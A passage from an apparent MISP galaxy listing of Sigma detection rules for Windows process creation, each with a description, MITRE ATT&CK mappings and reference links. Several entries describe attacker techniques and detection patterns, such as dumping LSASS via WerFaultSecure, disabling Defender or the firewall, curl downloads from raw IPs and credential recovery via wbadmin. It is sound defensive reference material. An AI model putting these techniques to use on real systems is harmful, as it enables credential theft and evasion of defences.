- related-to: misp-galaxy:mitre-attack-pattern="Remote Desktop Software - T1219.002" with estimative-language:likelihood-probability="almost-certain"

Table 15132. Table References

Links
https://thedfirreport.com/2025/02/24/confluence-exploit-leads-to-lockbit-ransomware/
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-2---anydesk-files-detected-test-on-windows
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_access_tools_anydesk.yml

Potentially Suspicious Windows App Activity

Detects potentially suspicious child process of applications launched from inside the WindowsApps directory. This could be a sign of a rogue ".appx" package installation/execution

The tag is: *misp-galaxy:sigma-rules="Potentially Suspicious Windows App Activity"*

Table 15133. Table References

Links
https://www.sentinelone.com/labs/inside-malicious-windows-apps-for-malware-deployment/
https://news.sophos.com/en-us/2021/11/11/bazarloader-call-me-back-attack-abuses-windows-10-apps-mechanism/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_appx_execution.yml

Devcon Execution Disabling VMware VMCI Device

Detects execution of devcon.exe with commands that disable the VMware Virtual Machine Communication Interface (VMCI) device. This can be legitimate during VMware Tools troubleshooting or driver conflicts, but may also indicate malware attempting to hijack communication with the hardware via the VMCI device. This has been used to facilitate VMware ESXi vulnerability exploits to escape VMs and execute code on the ESXi host.

The tag is: *misp-galaxy:sigma-rules="Devcon Execution Disabling VMware VMCI Device"*

View relationships graph

Devcon Execution Disabling VMware VMCI Device has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 15134. Table References

Links
https://communities.vmware.com/t5/VMware-Workstation-Pro/VMCI-driver-issues/td-p/2866060
https://learn.microsoft.com/en-us/windows-hardware/drivers/devtest/devcon
https://github.com/search?q=devcon+disable+VMWVMCIHOSTDEV
https://huntress.com/blog/esxi-vm-escape-exploit
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_devcon_disable_vmci_driver.yml

REGISTER_APP.VBS Proxy Execution

Detects the use of a Microsoft signed script 'REGISTER_APP.VBS' to register a VSS/VDS Provider as a COM+ application.

The tag is: *misp-galaxy:sigma-rules="REGISTER_APP.VBS Proxy Execution"*

View relationships graph

REGISTER_APP.VBS Proxy Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 15135. Table References

Links
https://twitter.com/sblmsrsn/status/1456613494783160325?s=20

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_register_app.yml

Suspicious Where Execution

Adversaries may enumerate browser bookmarks to learn more about compromised hosts. Browser bookmarks may reveal personal information about users (ex: banking sites, interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure.

The tag is: *misp-galaxy:sigma-rules="Suspicious Where Execution"*

View relationships graph

Suspicious Where Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Browser Information Discovery - T1217" with estimative-language:likelihood-probability="almost-certain"

Table 15136. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1217/T1217.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_where_browser_data_recon.yml

Potential Windows Defender Tampering Via Wmic.EXE

Detects potential tampering with Windows Defender settings such as adding exclusion using wmic

The tag is: *misp-galaxy:sigma-rules="Potential Windows Defender Tampering Via Wmic.EXE"*

View relationships graph

Potential Windows Defender Tampering Via Wmic.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Impair Defenses - T1562" with estimative-language:likelihood-probability="almost-certain"

Table 15137. Table References

Links
https://www.bleepingcomputer.com/news/security/gootkit-malware-bypasses-windows-defender-by-setting-path-exclusions/

https://github.com/redcanaryco/atomic-red-team/blob/5c1e6f1b4fafd01c8d1ece85f510160fc1275fbf/atomics/T1562.001/T1562.001.md
https://www.bleepingcomputer.com/news/security/iobit-forums-hacked-to-spread-ransomware-to-its-members/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_namespace_defender.yml

PPL Tampering Via WerFaultSecure

Detects potential abuse of WerFaultSecure.exe to dump Protected Process Light (PPL) processes like LSASS or to freeze security solutions (EDR/antivirus). This technique is used by tools such as EDR-Freeze and WSASS to bypass PPL protections and access sensitive information or disable security software. Distinct command line patterns help identify the specific tool: - WSASS usage typically shows: "WSASS.exe WerFaultSecure.exe [PID]" in ParentCommandLine - EDR-Freeze usage typically shows: "EDR-Freeze_[version].exe [PID] [timeout]" in ParentCommandLine Legitimate debugging operations using WerFaultSecure are rare in production environments and should be investigated.

The tag is: *misp-galaxy:sigma-rules="PPL Tampering Via WerFaultSecure"*

View relationships graph

PPL Tampering Via WerFaultSecure has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

Table 15138. Table References

Links
https://github.com/TwoSevenOneT/EDR-Freeze/blob/a7f61030b36fbde89871f393488f7075d2aa89f6/EDR-Freeze.cpp#L53
https://www.zerosalarium.com/2025/09/Dumping-LSASS-With-WER-On-Modern-Windows-11.html
https://www.zerosalarium.com/2025/09/EDR-Freeze-Puts-EDRs-Antivirus-Into-Coma.html
https://github.com/TwoSevenOneT/WSASS/blob/2c8fd9fa32143e7bc9f066e9511c6f8a57bc64b5/WSASS.cpp#L251
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_werfaultsecure_abuse.yml

Firewall Disabled via Netsh.EXE

Detects netsh commands that turns off the Windows firewall

The tag is: *misp-galaxy:sigma-rules="Firewall Disabled via Netsh.EXE"*

View relationships graph

Firewall Disabled via Netsh.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"

Table 15139. Table References

Links
https://app.any.run/tasks/210244b9-0b6b-4a2c-83a3-04bd3175d017/
https://www.winhelponline.com/blog/enable-and-disable-windows-firewall-quickly-using-command-line/
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.004/T1562.004.md#atomic-test-1---disable-microsoft-defender-firewall
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_fw_disable.yml

PUA - Crassus Execution

Detects Crassus, a Windows privilege escalation discovery tool, based on PE metadata characteristics.

The tag is: *misp-galaxy:sigma-rules="PUA - Crassus Execution"*

View relationships graph

PUA - Crassus Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Domain Properties - T1590.001" with estimative-language:likelihood-probability="almost-certain"

Table 15140. Table References

Links
https://github.com/vu-ls/Crassus
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_crassus.yml

Potential Data Stealing Via Chromium Headless Debugging

Detects chromium based browsers starting in headless and debugging mode and pointing to a user profile. This could be a sign of data stealing or remote control

The tag is: *misp-galaxy:sigma-rules="Potential Data Stealing Via Chromium Headless Debugging"*

View relationships graph

Potential Data Stealing Via Chromium Headless Debugging has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Browser Session Hijacking - T1185" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Hidden Window - T1564.003" with estimative-language:likelihood-probability="almost-certain"

Table 15141. Table References

Links
https://embracethered.com/blog/posts/2020/cookie-crimes-on-mirosoft-edge/
https://embracethered.com/blog/posts/2020/chrome-spy-remote-control/
https://mango.pdf.zone/stealing-chrome-cookies-without-a-password
https://github.com/defaultnamehere/cookie_crimes/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_browsers_chromium_headless_debugging.yml

Remote Access Tool - ScreenConnect Installation Execution

Detects ScreenConnect program starts that establish a remote access to a system.

The tag is: *misp-galaxy:sigma-rules="Remote Access Tool - ScreenConnect Installation Execution"*

View relationships graph

Remote Access Tool - ScreenConnect Installation Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"

Table 15142. Table References

Links
https://www.anomali.com/blog/probable-iranian-cyber-actors-static-kitten-conducting-cyberespionage-campaign-targeting-uae-and-kuwait-government-agencies
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_access_tools_screenconnect_installation_cli_param.yml

PowerShell Get-Process LSASS

Detects a "Get-Process" cmdlet and it’s aliases on lsass process, which is in almost all cases a sign of malicious activity

The tag is: *misp-galaxy:sigma-rules="PowerShell Get-Process LSASS"*

View relationships graph

PowerShell Get-Process LSASS has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Private Keys - T1552.004" with estimative-language:likelihood-probability="almost-certain"

Table 15143. Table References

Links
https://web.archive.org/web/20220205033028/https://twitter.com/PythonResponder/status/1385064506049630211
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_getprocess_lsass.yml

Registry Modification Via Regini.EXE

Detects the execution of regini.exe which can be used to modify registry keys, the changes are imported from one or more text files.

The tag is: *misp-galaxy:sigma-rules="Registry Modification Via Regini.EXE"*

View relationships graph

Registry Modification Via Regini.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 15144. Table References

Links
https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/regini
https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f
https://lolbas-project.github.io/lolbas/Binaries/Regini/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regini_execution.yml

Suspicious Provlaunch.EXE Child Process

Detects suspicious child processes of "provlaunch.exe" which might indicate potential abuse to proxy execution.

The tag is: *misp-galaxy:sigma-rules="Suspicious Provlaunch.EXE Child Process"*

View relationships graph

Suspicious Provlaunch.EXE Child Process has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 15145. Table References

Links
https://twitter.com/0gtweet/status/1674399582162153472
https://lolbas-project.github.io/lolbas/Binaries/Provlaunch/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_provlaunch_susp_child_process.yml

Attempts of Kerberos Coercion Via DNS SPN Spoofing

Detects the presence of "UWhRC....AAYBAAAA" pattern in command line. The pattern "1UWhRCAAAAA..BAAAA" is a base64-encoded signature that corresponds to a marshaled CREDENTIAL_TARGET_INFORMATION structure. Attackers can use this technique to coerce authentication from victim systems to attacker-controlled hosts. It is one of the strong indicators of a Kerberos coercion attack, where adversaries manipulate DNS records to spoof Service Principal Names (SPNs) and redirect authentication requests like in CVE-2025-33073. If you see this pattern in the command line, it is likely an attempt to add spoofed Service Principal Names (SPNs) to DNS records, or checking for the presence of such records through the `nslookup` command.

The tag is: *misp-galaxy:sigma-rules="Attempts of Kerberos Coercion Via DNS SPN Spoofing"*

View relationships graph

Attempts of Kerberos Coercion Via DNS SPN Spoofing has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LLMNR/NBT-NS Poisoning and SMB Relay - T1557.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Forced Authentication - T1187" with estimative-language:likelihood-probability="almost-certain"

Table 15146. Table References

Links
https://www.synacktiv.com/publications/ntlm-reflection-is-dead-long-live-ntlm-reflection-an-in-depth-analysis-of-cve-2025
https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_kerberos_coercion_via_dns_spn_spoofing.yml

Suspicious PowerShell Invocation From Script Engines

Detects suspicious powershell invocations from interpreters or unusual programs

The tag is: *misp-galaxy:sigma-rules="Suspicious PowerShell Invocation From Script Engines"*

View relationships graph

Suspicious PowerShell Invocation From Script Engines has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 15147. Table References

Links
https://www.securitynewspaper.com/2017/03/20/attackers-leverage-excel-powershell-dns-latest-non-malware-attack/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_script_engine_parent.yml

File Download From IP URL Via Curl.EXE

Detects file downloads directly from IP address URL using curl.exe

The tag is: *misp-galaxy:sigma-rules="File Download From IP URL Via Curl.EXE"*

Table 15148. Table References

Links
https://labs.withsecure.com/publications/fin7-target-veeam-servers
https://github.com/pr0xylife/IcedID/blob/8dd1e218460db4f750d955b4c65b2f918a1db906/icedID_09.28.2023.txt
https://github.com/WithSecureLabs/iocs/blob/344203de742bb7e68bd56618f66d34be95a9f9fc/FIN7VEEAM/iocs.csv
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_curl_download_direct_ip_exec.yml

OneNote.EXE Execution of Malicious Embedded Scripts

Detects the execution of malicious OneNote documents that contain embedded scripts. When a user clicks on a OneNote attachment and then on the malicious link inside the ".one" file, it exports and executes the malicious embedded script from specific directories.

The tag is: *misp-galaxy:sigma-rules="OneNote.EXE Execution of Malicious Embedded Scripts"*

View relationships graph

OneNote.EXE Execution of Malicious Embedded Scripts has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Compiled HTML File - T1218.001" with estimative-language:likelihood-probability="almost-certain"

Table 15149. Table References

Links
https://bazaar.abuse.ch/browse/tag/one/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_onenote_embedded_script_execution.yml

MpiExec Lolbin

Detects a certain command line flag combination used by mpiexec.exe LOLBIN from HPC pack that can be used to execute any other binary

The tag is: *misp-galaxy:sigma-rules="MpiExec Lolbin"*

View relationships graph

MpiExec Lolbin has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 15150. Table References

Links
https://learn.microsoft.com/en-us/powershell/high-performance-computing/mpiexec?view=hpc19-ps
https://twitter.com/mrd0x/status/1465058133303246867
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_mpiexec.yml

Install New Package Via Winget Local Manifest

Detects usage of winget to install applications via manifest file. Adversaries can abuse winget to download payloads remotely and execute them. The manifest option enables you to install an application by passing in a YAML file directly to the client. Winget can be used to download and install exe, msi or msix files later.

The tag is: *misp-galaxy:sigma-rules="Install New Package Via Winget Local Manifest"*

View relationships graph

Install New Package Via Winget Local Manifest has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 15151. Table References

Links
https://learn.microsoft.com/en-us/windows/package-manager/winget/install#local-install
https://github.com/nasbench/Misc-Research/tree/b9596e8109dcdb16ec353f316678927e507a5b8d/LOLBINs/Winget
https://lolbas-project.github.io/lolbas/Binaries/Winget/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_winget_local_install_via_manifest.yml

Suspicious Shells Spawn by Java Utility Keytool

Detects suspicious shell spawn from Java utility keytool process (e.g. adselfservice plus exploitation)

The tag is: *misp-galaxy:sigma-rules="Suspicious Shells Spawn by Java Utility Keytool"*

Table 15152. Table References

Links
https://redcanary.com/blog/intelligence-insights-december-2021
https://www.synacktiv.com/en/publications/how-to-exploit-cve-2021-40539-on-manageengine-adselfservice-plus.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_java_keytool_susp_child_process.yml

Suspicious IIS URL GlobalRules Rewrite Via AppCmd

Detects usage of "appcmd" to create new global URL rewrite rules. This behaviour has been observed being used by threat actors to add new rules so they can access their webshells.

The tag is: *misp-galaxy:sigma-rules="Suspicious IIS URL GlobalRules Rewrite Via AppCmd"*

Table 15153. Table References

Links
https://learn.microsoft.com/en-us/answers/questions/739120/how-to-add-re-write-global-rule-with-action-type-r
https://twitter.com/malmoeb/status/1616702107242971144
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_iis_appcmd_susp_rewrite_rule.yml

PowerShell Base64 Encoded Reflective Assembly Load

Detects base64 encoded .NET reflective loading of Assembly

The tag is: *misp-galaxy:sigma-rules="PowerShell Base64 Encoded Reflective Assembly Load"*

View relationships graph

PowerShell Base64 Encoded Reflective Assembly Load has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Reflective Code Loading - T1620" with estimative-language:likelihood-probability="almost-certain"

Table 15154. Table References

Links
https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/
https://github.com/Neo23x0/Raccine/blob/20a569fa21625086433dcce8bb2765d0ea08dcb6/yara/mal_revil.yar
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_base64_reflection_assembly_load.yml

HackTool - Certify Execution

Detects Certify a tool for Active Directory certificate abuse based on PE metadata characteristics and common command line arguments.

The tag is: *misp-galaxy:sigma-rules="HackTool - Certify Execution"*

View relationships graph

HackTool - Certify Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Steal or Forge Authentication Certificates - T1649" with estimative-language:likelihood-probability="almost-certain"

Table 15155. Table References

Links
https://github.com/GhostPack/Certify
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_certify.yml

Suspicious Child Process Of BgInfo.EXE

Detects suspicious child processes of "BgInfo.exe" which could be a sign of potential abuse of the binary to proxy execution via external VBScript

The tag is: *misp-galaxy:sigma-rules="Suspicious Child Process Of BgInfo.EXE"*

View relationships graph

Suspicious Child Process Of BgInfo.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202" with estimative-language:likelihood-probability="almost-certain"

Table 15156. Table References

Links
https://oddvar.moe/2017/05/18/bypassing-application-whitelisting-with-bginfo/
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Bginfo/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bginfo_suspicious_child_process.yml

Wlrmdr.EXE Uncommon Argument Or Child Process

Detects the execution of "Wlrmdr.exe" with the "-u" command line flag which allows anything passed to it to be an argument of the ShellExecute API, which would allow an attacker to execute arbitrary binaries. This detection also focuses on any uncommon child processes spawned from "Wlrmdr.exe" as a supplement for those that posses "ParentImage" telemetry.

The tag is: *misp-galaxy:sigma-rules="Wlrmdr.EXE Uncommon Argument Or Child Process"*

View relationships graph

Wlrmdr.EXE Uncommon Argument Or Child Process has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 15157. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Wlrmdr/
https://twitter.com/0gtweet/status/1493963591745220608?s=20&t=xUg9DsZhJy1q9bPTUWgeIQ
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wlrmdr_uncommon_child_process.yml

Suspicious File Execution From Internet Hosted WebDav Share

Detects the execution of the "net use" command to mount a WebDAV server and then immediately execute some content in it. As seen being used in malicious LNK files

The tag is: *misp-galaxy:sigma-rules="Suspicious File Execution From Internet Hosted WebDav Share"*

View relationships graph

Suspicious File Execution From Internet Hosted WebDav Share has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 15158. Table References

Links
https://www.virustotal.com/gui/file/a63376ee1dba76361df73338928e528ca5b20171ea74c24581605366dcaa0104/behavior
https://twitter.com/ShadowChasing1/status/1552595370961944576
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_net_use_and_exec_combo.yml

Tor Client/Browser Execution

Detects the use of Tor or Tor-Browser to connect to onion routing networks

The tag is: *misp-galaxy:sigma-rules="Tor Client/Browser Execution"*

View relationships graph

Tor Client/Browser Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1090.003" with estimative-language:likelihood-probability="almost-certain"

Table 15159. Table References

Links
https://www.logpoint.com/en/blog/detecting-tor-use-with-logpoint/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_browsers_tor_execution.yml

Audit Policy Tampering Via Auditpol

Threat actors can use auditpol binary to change audit policy configuration to impair detection

capability. This can be carried out by selectively disabling/removing certain audit policies as well as restoring a custom policy owned by the threat actor.

The tag is: *misp-galaxy:sigma-rules="Audit Policy Tampering Via Auditpol"*

View relationships graph

Audit Policy Tampering Via Auditpol has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable Windows Event Logging - T1562.002" with estimative-language:likelihood-probability="almost-certain"

Table 15160. Table References

Links
https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_auditpol_susp_execution.yml

Potential Provlaunch.EXE Binary Proxy Execution Abuse

Detects child processes of "provlaunch.exe" which might indicate potential abuse to proxy execution.

The tag is: *misp-galaxy:sigma-rules="Potential Provlaunch.EXE Binary Proxy Execution Abuse"*

View relationships graph

Potential Provlaunch.EXE Binary Proxy Execution Abuse has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 15161. Table References

Links
https://twitter.com/0gtweet/status/1674399582162153472
https://lolbas-project.github.io/lolbas/Binaries/Provlaunch/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_provlaunch_potential_abuse.yml

Copy From Or To Admin Share Or Sysvol Folder

Detects a copy command or a copy utility execution to or from an Admin share or remote

The tag is: *misp-galaxy:sigma-rules="Copy From Or To Admin Share Or Sysvol Folder"*

View relationships graph

Copy From Or To Admin Share Or Sysvol Folder has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Data from Network Shared Drive - T1039" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Exfiltration Over Alternative Protocol - T1048" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"

Table 15162. Table References

Links
https://www.elastic.co/guide/en/security/current/remote-file-copy-to-a-hidden-share.html
https://drive.google.com/file/d/1lKya3_mLnR3UQuCoiYruO3qgu052_iS_/view
https://www.microsoft.com/en-us/security/blog/2022/10/18/defenders-beware-a-case-for-post-ransomware-investigations/
https://twitter.com/SBousseaden/status/1211636381086339073
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_copy_lateral_movement.yml

Gpscript Execution

Detects the execution of the LOLBIN gpscript, which executes logon or startup scripts configured in Group Policy

The tag is: *misp-galaxy:sigma-rules="Gpscript Execution"*

View relationships graph

Gpscript Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 15163. Table References

Links
https://oddvar.moe/2018/04/27/gpscript-exe-another-lolbin-to-the-list/
https://lolbas-project.github.io/lolbas/Binaries/Gpscript/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_gpscript.yml

New DLL Registered Via Odbcconf.EXE

Detects execution of "odbcconf" with "REGSVR" in order to register a new DLL (equivalent to running regsvr32). Attackers abuse this to install and run malicious DLLs.

The tag is: *misp-galaxy:sigma-rules="New DLL Registered Via Odbcconf.EXE"*

View relationships graph

New DLL Registered Via Odbcconf.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Odbcconf - T1218.008" with estimative-language:likelihood-probability="almost-certain"

Table 15164. Table References

Links
https://web.archive.org/web/20191023232753/https://twitter.com/Hexacorn/status/1187143326673330176
https://www.hexacorn.com/blog/2020/08/23/odbcconf-lolbin-trifecta/
https://learn.microsoft.com/en-us/sql/odbc/odbcconf-exe?view=sql-server-ver16
https://www.trendmicro.com/en_us/research/17/h/backdoor-carrying-emails-set-sights-on-russian-speaking-businesses.html
https://redcanary.com/blog/raspberry-robin/
https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_odbcconf_register_dll_regsvr.yml

Certificate Exported Via Certutil.EXE

Detects the execution of the certutil with the "exportPFX" flag which allows the utility to export certificates.

The tag is: *misp-galaxy:sigma-rules="Certificate Exported Via Certutil.EXE"*

View relationships graph

Certificate Exported Via Certutil.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

Table 15165. Table References

Links
https://www.splunk.com/en_us/blog/security/a-golden-saml-journey-solarwinds-continued.html

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certutil_export_pfx.yml

File Encryption Using Gpg4win

Detects usage of Gpg4win to encrypt files

The tag is: *misp-galaxy:sigma-rules="File Encryption Using Gpg4win"*

Table 15166. Table References

Links
https://www.gpg4win.de/documentation.html
https://blogs.vmware.com/security/2022/11/batloader-the-evasive-downloader-malware.html
https://news.sophos.com/en-us/2022/01/19/zloader-installs-remote-access-backdoors-and-delivers-cobalt-strike/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_gpg4win_encryption.yml

Dism Remove Online Package

Deployment Image Servicing and Management tool. DISM is used to enumerate, install, uninstall, configure, and update features and packages in Windows images

The tag is: *misp-galaxy:sigma-rules="Dism Remove Online Package"*

View relationships graph

Dism Remove Online Package has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 15167. Table References

Links
https://www.trendmicro.com/en_us/research/22/h/ransomware-actor-abuses-genshin-impact-anti-cheat-driver-to-kill-antivirus.html
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md#atomic-test-26---disable-windows-defender-with-dism
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dism_remove.yml

Sensitive File Recovery From Backup Via Wbadmin.EXE

Detects the dump of highly sensitive files such as "NTDS.DIT" and "SECURITY" hive. Attackers can leverage the "wbadmin" utility in order to dump sensitive files that might contain credential or sensitive information.

The tag is: *misp-galaxy:sigma-rules="Sensitive File Recovery From Backup Via Wbadmin.EXE"*

View relationships graph

Sensitive File Recovery From Backup Via Wbadmin.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="NTDS - T1003.003" with estimative-language:likelihood-probability="almost-certain"

Table 15168. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Wbadmin/
https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-start-recovery
https://github.com/LOLBAS-Project/LOLBAS/blob/2cc01b01132b5c304027a658c698ae09dd6a92bf/yml/OSBinaries/Wbadmin.yml
https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-start-backup
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wbadmin_restore_sensitive_files.yml

Root Certificate Installed From Susp Locations

Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers.

The tag is: *misp-galaxy:sigma-rules="Root Certificate Installed From Susp Locations"*

View relationships graph

Root Certificate Installed From Susp Locations has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Install Root Certificate - T1553.004" with estimative-language:likelihood-probability="almost-certain"

Table 15169. Table References

Links

https://learn.microsoft.com/en-us/powershell/module/pki/import-certificate?view=windowsserver2022-ps
https://www.microsoft.com/security/blog/2022/09/07/profiling-dev-0270-phosphorus-ransomware-operations/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_import_cert_susp_locations.yml

WmiPrvSE Spawned A Process

Detects WmiPrvSE spawning a process

The tag is: *misp-galaxy:sigma-rules="WmiPrvSE Spawned A Process"*

View relationships graph

WmiPrvSE Spawned A Process has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"

Table 15170. Table References

Links
https://threathunterplaybook.com/hunts/windows/190815-RemoteServiceInstallation/notebook.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmiprvse_spawning_process.yml

HackTool - SharpWSUS/WSUSpendu Execution

